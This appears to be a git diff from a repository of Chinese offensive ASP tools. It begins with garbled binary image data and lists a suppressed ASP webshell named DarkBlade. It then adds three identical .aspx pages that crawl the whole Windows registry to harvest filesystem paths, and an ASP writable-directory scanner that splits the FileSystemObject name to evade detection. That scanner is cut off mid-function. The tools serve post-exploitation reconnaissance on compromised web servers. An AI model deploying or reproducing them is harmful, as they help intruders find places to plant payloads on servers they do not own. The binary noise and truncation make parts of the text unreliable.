<0B>? ? w !1AQaq"2?B<><42><EFBFBD><EFBFBD> #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? ? <20><>+<2B><><EFBFBD><EFBFBD><EFBFBD>j<EFBFBD><6A>}<7D><>?Ƴ<><C6B3><EFBFBD><EFBFBD><EFBFBD>p?g<><67><EFBFBD>o<EFBFBD>cŖ^(<28><><EFBFBD><EFBFBD>=<3D><>?<3F><>u<EFBFBD><75><EFBFBD><EFBFBD>~ʳ<>XI?<3F><>J<><4A><EFBFBD>t<EFBFBD>u<EFBFBD>ު<EFBFBD><DEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<EFBFBD>_[Z<><5A>?<?7<><37><EFBFBD><EFBFBD>?dl<64>K<04>^<5E><>W<EFBFBD><57>Gҵ?[?<3F><><EFBFBD><EFBFBD>PKn<4B><6E><EFBFBD><EFBFBD>FČ> <09><>g??F<>z<EFBFBD><7A>R\<5C><>S<EFBFBD><53>\<5C>ih<69>Q<EFBFBD>^1?|p<>N<EFBFBD><4E>v<EFBFBD><76>T<EFBFBD><54>c?RC<01><>=<3D><>S?<3F><>?<13><>{[<5B>Yl.!y??p@?<3F><>SF<53><46><EFBFBD><EFBFBD>B<EFBFBD><42>O<EFBFBD><4F><EFBFBD>u-j<><6A>u=A?#<23><<3C><>2O?u<V<17><>Ki{?
|
||||||
|
[?<3F>H{<7B><>]Yl<59> v?UwP ?<3F><>5<EFBFBD><35><0E>EGؤ<47><D8A4>T<EFBFBD>ѫ<EFBFBD><D1AB>u~<7E><><EFBFBD>a{u><3E><><EFBFBD><EFBFBD>.<2E><><EFBFBD>f?<3F><><EFBFBD>څ<EFBFBD>г<19><>N??d<><64><EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD>o<EFBFBD>Xua<75><61><EFBFBD><EFBFBD>Ա<EFBFBD>|<7C><>aB<61><42>d<13><>k<EFBFBD><6B><EFBFBD><EFBFBD>?Rz<52><7A><EFBFBD>z<14>u<EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҋ<EFBFBD>?<3F>PZ<50>wkk<6B><6B><EFBFBD>s
|
||||||
|
<EFBFBD>ڡfD<EFBFBD><EFBFBD>^?<3F><>ҭ?;<3B>Z?<3F><>K<EFBFBD><4B>?<3F><>qB<71>v<EFBFBD><76>l<EFBFBD><6C>V*?<3F>˖]<5D><>?h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>Ei?~<7E>`<60><><EFBFBD>ߙ<EFBFBD><DF99><EFBFBD>s<EFBFBD><73>+
|
||||||
|
R<EFBFBD>O<EFBFBD><EFBFBD>=<3D><>?f<><66>5Žɍ'l<><6C>??<18><><1D><>n?<3F>Z<EFBFBD><5A>k<EFBFBD><6B>%$<24>g2H<32>W<1B><><EFBFBD><EFBFBD>U<EFBFBD><55><19><>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>qi3?$?<0E>s<EFBFBD><73><EFBFBD>x<EFBFBD>s<EFBFBD>^}<7D><>>G<><47>|+Z<><5A>˲I<CBB2><49><EFBFBD>I<EFBFBD><49><EFBFBD><EFBFBD>v<EFBFBD><76>:'<27><>d<EFBFBD>Nm*;?rƚ<72>ږe<DA96><65>?<3F> 8<><38><EFBFBD>ږ<EFBFBD><DA96>Z <09>e?<3F><><06>k<EFBFBD><6B>Щ?=<3D>\<0F><>z<EFBFBD><7A><EFBFBD>?awծ?s<>r?s<><73>w><3E>g?=?M<0C><>2BY<42>b<EFBFBD>g9<67>I?<3F><><EFBFBD><EFBFBD>EP<45>F<EFBFBD>Ux<55><78><EFBFBD><EFBFBD><EFBFBD>L?<3F><><EFBFBD><EFBFBD>?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>U՞yg<79>i<EFBFBD><69><EFBFBD>vD?<02><><EFBFBD>WP7<05> <20>P?g}<7D><>s??w<0E><><EFBFBD>K<EFBFBD>u8<75>~ɨ<>}r?Jۖ<4A><DB96>H(?A<18>z<EFBFBD><7A>?ᏃDr1?~q?<3F><>><3E><><EFBFBD><EFBFBD><0F><><16><><EFBFBD>D<EFBFBD>T?dDy<44>u<0C><>?<3F>ƾ<EFBFBD>?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?<3F><>8?<1C>ڗ<EFBFBD><DA97>Ed7<64>Ko<><6F><EFBFBD><EFBFBD>/RyoQXڮ<58><DAAE>?<3F><><EFBFBD><EFBFBD>4J<05><><EFBFBD>L<EFBFBD>~o<><6F>=8<><38>^<5E><>xcE?I?>+?]<5D><>?s?S<><53>~<17><><EFBFBD>x<EFBFBD>ku?<0E><>? <20><><EFBFBD><EFBFBD>)6? ]<5D>S<EFBFBD>p<EFBFBD><70>*T?u[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
f?<3F><><EFBFBD>iFx<46><78><EFBFBD><EFBFBD><EFBFBD>a#qv<><76><EFBFBD>?<3F>}3[_-<2D>ψ<EFBFBD>5(tuhv<68><76>?(⌀ՄQ<D584>z;u<><75>o<05>r<EFBFBD><72><EFBFBD><EFBFBD>?<3F><><EFBFBD>i]?3<><33>$g&<26><><EFBFBD>gD<67><44>E<EFBFBD><45><EFBFBD>k??@<40>d`<60><>8y)?_<><5F>f<EFBFBD>g<EFBFBD><67>$<24><>? M<> <20>y3<79>?
|
||||||
|
<0B>? ? } !1AQa"q2<><32>?#B<><42>R<><52>$3br?
|
||||||
|
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>??
|
||||||
BIN
net-friend/asp/121.jpg
Normal file
BIN
net-friend/asp/121.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
4165
net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp
Normal file
4165
net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp
Normal file
File diff suppressed because it is too large
Load Diff
108
net-friend/asp/asp目录可写扫描/01.aspx
Normal file
108
net-friend/asp/asp目录可写扫描/01.aspx
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
|
||||||
|
<%@ import Namespace="System.IO"%>
|
||||||
|
<%@ import Namespace="System.Diagnostics"%>
|
||||||
|
<%@ import Namespace="System.Data"%>
|
||||||
|
<%@ import Namespace="System.Management"%>
|
||||||
|
<%@ import Namespace="System.Data.OleDb"%>
|
||||||
|
<%@ import Namespace="Microsoft.Win32"%>
|
||||||
|
<%@ import Namespace="System.Net.Sockets" %>
|
||||||
|
<%@ import Namespace="System.Collections" %>
|
||||||
|
<%@ import Namespace="System.Net" %>
|
||||||
|
<%@ import Namespace="System.Runtime.InteropServices"%>
|
||||||
|
<%@ import Namespace="System.DirectoryServices"%>
|
||||||
|
<%@ import Namespace="System.ServiceProcess"%>
|
||||||
|
<%@ import Namespace="System.Text.RegularExpressions"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ Import Namespace="System.Threading"%>
|
||||||
|
<%@ Import Namespace="System.Data.SqlClient"%>
|
||||||
|
<%@ import Namespace="Microsoft.VisualBasic"%>
|
||||||
|
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<%
|
||||||
|
Stack sack = new Stack();//测试成功,比较卡
|
||||||
|
List<String> list = new List<String>();
|
||||||
|
sack.Push(Registry.ClassesRoot);
|
||||||
|
sack.Push(Registry.CurrentConfig);
|
||||||
|
sack.Push(Registry.CurrentUser);
|
||||||
|
sack.Push(Registry.LocalMachine);
|
||||||
|
sack.Push(Registry.Users);
|
||||||
|
while (sack.Count > 0)
|
||||||
|
{
|
||||||
|
RegistryKey Hklm = (RegistryKey)sack.Pop();
|
||||||
|
if (Hklm != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] names = Hklm.GetValueNames();
|
||||||
|
foreach (string name in names)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str = Hklm.GetValue(name).ToString().ToLower();
|
||||||
|
if (str.IndexOf(":\\") != -1 && str.IndexOf("c:\\program files") == -1 && str.IndexOf("c:\\windows") == -1)
|
||||||
|
{
|
||||||
|
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
|
||||||
|
MatchCollection matches = regImg.Matches(str);
|
||||||
|
if (matches.Count > 0)
|
||||||
|
{
|
||||||
|
string temp = "";
|
||||||
|
foreach (Match match in matches)
|
||||||
|
{
|
||||||
|
temp = match.Value;
|
||||||
|
if (!temp.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp) == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
list.Add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
while (temp.IndexOf("\\") != -1)
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp + "\\") == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "\\<br/>");
|
||||||
|
list.Add(temp + "\\");
|
||||||
|
}
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception se) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] keys = Hklm.GetSubKeyNames();
|
||||||
|
foreach (string key in keys)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
sack.Push(Hklm.OpenSubKey(key));
|
||||||
|
}
|
||||||
|
catch (System.Security.SecurityException sse) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head runat="server">
|
||||||
|
<title></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
108
net-friend/asp/asp目录可写扫描/1.aspx
Normal file
108
net-friend/asp/asp目录可写扫描/1.aspx
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
|
||||||
|
<%@ import Namespace="System.IO"%>
|
||||||
|
<%@ import Namespace="System.Diagnostics"%>
|
||||||
|
<%@ import Namespace="System.Data"%>
|
||||||
|
<%@ import Namespace="System.Management"%>
|
||||||
|
<%@ import Namespace="System.Data.OleDb"%>
|
||||||
|
<%@ import Namespace="Microsoft.Win32"%>
|
||||||
|
<%@ import Namespace="System.Net.Sockets" %>
|
||||||
|
<%@ import Namespace="System.Collections" %>
|
||||||
|
<%@ import Namespace="System.Net" %>
|
||||||
|
<%@ import Namespace="System.Runtime.InteropServices"%>
|
||||||
|
<%@ import Namespace="System.DirectoryServices"%>
|
||||||
|
<%@ import Namespace="System.ServiceProcess"%>
|
||||||
|
<%@ import Namespace="System.Text.RegularExpressions"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ Import Namespace="System.Threading"%>
|
||||||
|
<%@ Import Namespace="System.Data.SqlClient"%>
|
||||||
|
<%@ import Namespace="Microsoft.VisualBasic"%>
|
||||||
|
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<%
|
||||||
|
Stack sack = new Stack();//测试成功,比较卡
|
||||||
|
List<String> list = new List<String>();
|
||||||
|
sack.Push(Registry.ClassesRoot);
|
||||||
|
sack.Push(Registry.CurrentConfig);
|
||||||
|
sack.Push(Registry.CurrentUser);
|
||||||
|
sack.Push(Registry.LocalMachine);
|
||||||
|
sack.Push(Registry.Users);
|
||||||
|
while (sack.Count > 0)
|
||||||
|
{
|
||||||
|
RegistryKey Hklm = (RegistryKey)sack.Pop();
|
||||||
|
if (Hklm != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] names = Hklm.GetValueNames();
|
||||||
|
foreach (string name in names)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str = Hklm.GetValue(name).ToString().ToLower();
|
||||||
|
if (str.IndexOf(":\\") != -1 && str.IndexOf("c:\\program files") == -1 && str.IndexOf("c:\\windows") == -1)
|
||||||
|
{
|
||||||
|
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
|
||||||
|
MatchCollection matches = regImg.Matches(str);
|
||||||
|
if (matches.Count > 0)
|
||||||
|
{
|
||||||
|
string temp = "";
|
||||||
|
foreach (Match match in matches)
|
||||||
|
{
|
||||||
|
temp = match.Value;
|
||||||
|
if (!temp.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp) == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
list.Add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
while (temp.IndexOf("\\") != -1)
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp + "\\") == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "\\<br/>");
|
||||||
|
list.Add(temp + "\\");
|
||||||
|
}
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception se) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] keys = Hklm.GetSubKeyNames();
|
||||||
|
foreach (string key in keys)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
sack.Push(Hklm.OpenSubKey(key));
|
||||||
|
}
|
||||||
|
catch (System.Security.SecurityException sse) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head runat="server">
|
||||||
|
<title></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
108
net-friend/asp/asp目录可写扫描/finaly.aspx
Normal file
108
net-friend/asp/asp目录可写扫描/finaly.aspx
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
|
||||||
|
<%@ import Namespace="System.IO"%>
|
||||||
|
<%@ import Namespace="System.Diagnostics"%>
|
||||||
|
<%@ import Namespace="System.Data"%>
|
||||||
|
<%@ import Namespace="System.Management"%>
|
||||||
|
<%@ import Namespace="System.Data.OleDb"%>
|
||||||
|
<%@ import Namespace="Microsoft.Win32"%>
|
||||||
|
<%@ import Namespace="System.Net.Sockets" %>
|
||||||
|
<%@ import Namespace="System.Collections" %>
|
||||||
|
<%@ import Namespace="System.Net" %>
|
||||||
|
<%@ import Namespace="System.Runtime.InteropServices"%>
|
||||||
|
<%@ import Namespace="System.DirectoryServices"%>
|
||||||
|
<%@ import Namespace="System.ServiceProcess"%>
|
||||||
|
<%@ import Namespace="System.Text.RegularExpressions"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ Import Namespace="System.Threading"%>
|
||||||
|
<%@ Import Namespace="System.Data.SqlClient"%>
|
||||||
|
<%@ import Namespace="Microsoft.VisualBasic"%>
|
||||||
|
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<%
|
||||||
|
Stack sack = new Stack();//测试成功,比较卡
|
||||||
|
List<String> list = new List<String>();
|
||||||
|
sack.Push(Registry.ClassesRoot);
|
||||||
|
sack.Push(Registry.CurrentConfig);
|
||||||
|
sack.Push(Registry.CurrentUser);
|
||||||
|
sack.Push(Registry.LocalMachine);
|
||||||
|
sack.Push(Registry.Users);
|
||||||
|
while (sack.Count > 0)
|
||||||
|
{
|
||||||
|
RegistryKey Hklm = (RegistryKey)sack.Pop();
|
||||||
|
if (Hklm != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] names = Hklm.GetValueNames();
|
||||||
|
foreach (string name in names)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str = Hklm.GetValue(name).ToString().ToLower();
|
||||||
|
if (str.IndexOf(":\\") != -1 && str.IndexOf("c:\\program files") == -1 && str.IndexOf("c:\\windows") == -1)
|
||||||
|
{
|
||||||
|
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
|
||||||
|
MatchCollection matches = regImg.Matches(str);
|
||||||
|
if (matches.Count > 0)
|
||||||
|
{
|
||||||
|
string temp = "";
|
||||||
|
foreach (Match match in matches)
|
||||||
|
{
|
||||||
|
temp = match.Value;
|
||||||
|
if (!temp.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp) == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
list.Add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
while (temp.IndexOf("\\") != -1)
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp + "\\") == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "\\<br/>");
|
||||||
|
list.Add(temp + "\\");
|
||||||
|
}
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception se) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] keys = Hklm.GetSubKeyNames();
|
||||||
|
foreach (string key in keys)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
sack.Push(Hklm.OpenSubKey(key));
|
||||||
|
}
|
||||||
|
catch (System.Security.SecurityException sse) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head runat="server">
|
||||||
|
<title></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
173
net-friend/asp/asp目录可写扫描/wt.asp
Normal file
173
net-friend/asp/asp目录可写扫描/wt.asp
Normal file
@@ -0,0 +1,173 @@
|
|||||||
|
<%
|
||||||
|
|
||||||
|
|
||||||
|
Response.Buffer = True
|
||||||
|
Server.ScriptTimeOut=999999999
|
||||||
|
|
||||||
|
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
|
||||||
|
|
||||||
|
|
||||||
|
'<27><>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \
|
||||||
|
function GetFullPath(path)
|
||||||
|
GetFullPath = path
|
||||||
|
if Right(path,1) <> "\" then GetFullPath = path&"\" '<27><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \ <20>ľͼ<C4BE><CDBC><EFBFBD>
|
||||||
|
end function
|
||||||
|
|
||||||
|
'ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
Function Deltextfile(filepath)
|
||||||
|
On Error Resume Next
|
||||||
|
Set objFSO = CreateObject(CONST_FSO)
|
||||||
|
if objFSO.FileExists(filepath) then '<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
objFSO.DeleteFile(filepath)
|
||||||
|
end if
|
||||||
|
Set objFSO = nothing
|
||||||
|
Deltextfile = Err.Number '<27><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD>Ŀ¼<C4BF>Ƿ<EFBFBD><C7B7><EFBFBD>д 0 Ϊ<>ɶ<EFBFBD>д 1Ϊ<31><CEAA>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE>
|
||||||
|
Function CheckDirIsOKWrite(DirStr)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
filepath = GetFullPath(DirStr)&fso.GettempName
|
||||||
|
FSO.CreateTextFile(filepath)
|
||||||
|
CheckDirIsOKWrite = Err.Number '<27><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if ShowNoWriteDir and (CheckDirIsOKWrite =70) then
|
||||||
|
Response.Write "[<font color=#0066FF>Ŀ¼</font>]"&DirStr&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
end if
|
||||||
|
set fout =Nothing
|
||||||
|
set FSO = Nothing
|
||||||
|
Deltextfile(filepath) 'ɾ<><C9BE><EFBFBD><EFBFBD>
|
||||||
|
if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1
|
||||||
|
end Function
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<28>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>ܻ<EFBFBD><DCBB>е㲻<E3B2BB><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
|
function CheckFileWrite(filepath)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
set getAtt=FSO.GetFile(filepath)
|
||||||
|
getAtt.Attributes = getAtt.Attributes
|
||||||
|
CheckFileWrite = Err.Number
|
||||||
|
set FSO = Nothing
|
||||||
|
set getAtt = Nothing
|
||||||
|
end function
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD>Ŀ¼<C4BF>Ŀɶ<C4BF>д<EFBFBD><D0B4>
|
||||||
|
function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
B = FSO.FolderExists(Path)
|
||||||
|
set FSO=nothing
|
||||||
|
|
||||||
|
'<27>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>ʱĿ¼<C4BF><C2BC><EFBFBD>Ƿ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
|
||||||
|
IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp
|
||||||
|
|
||||||
|
if B=false then '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
'==========================================================================
|
||||||
|
Re = CheckFileWrite(Path) '<27><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>д
|
||||||
|
if Re =0 then
|
||||||
|
Response.Write "[<5B>ļ<EFBFBD>]<font color=red>"&Path&"</font><br>"
|
||||||
|
b =true
|
||||||
|
exit function
|
||||||
|
else
|
||||||
|
Response.Write "[<font color=red><3E>ļ<EFBFBD></font>]"&Path&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
exit function
|
||||||
|
end if
|
||||||
|
'==========================================================================
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Path = GetFullPath(Path) '<27><> \
|
||||||
|
|
||||||
|
re = CheckDirIsOKWrite(Path) '<27><>ǰĿ¼Ҳ<C2BC><D2B2><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
if (re =0) or (re=1) then
|
||||||
|
Response.Write "[Ŀ¼]<font color=#0000FF>"& Path&"</font><br>"
|
||||||
|
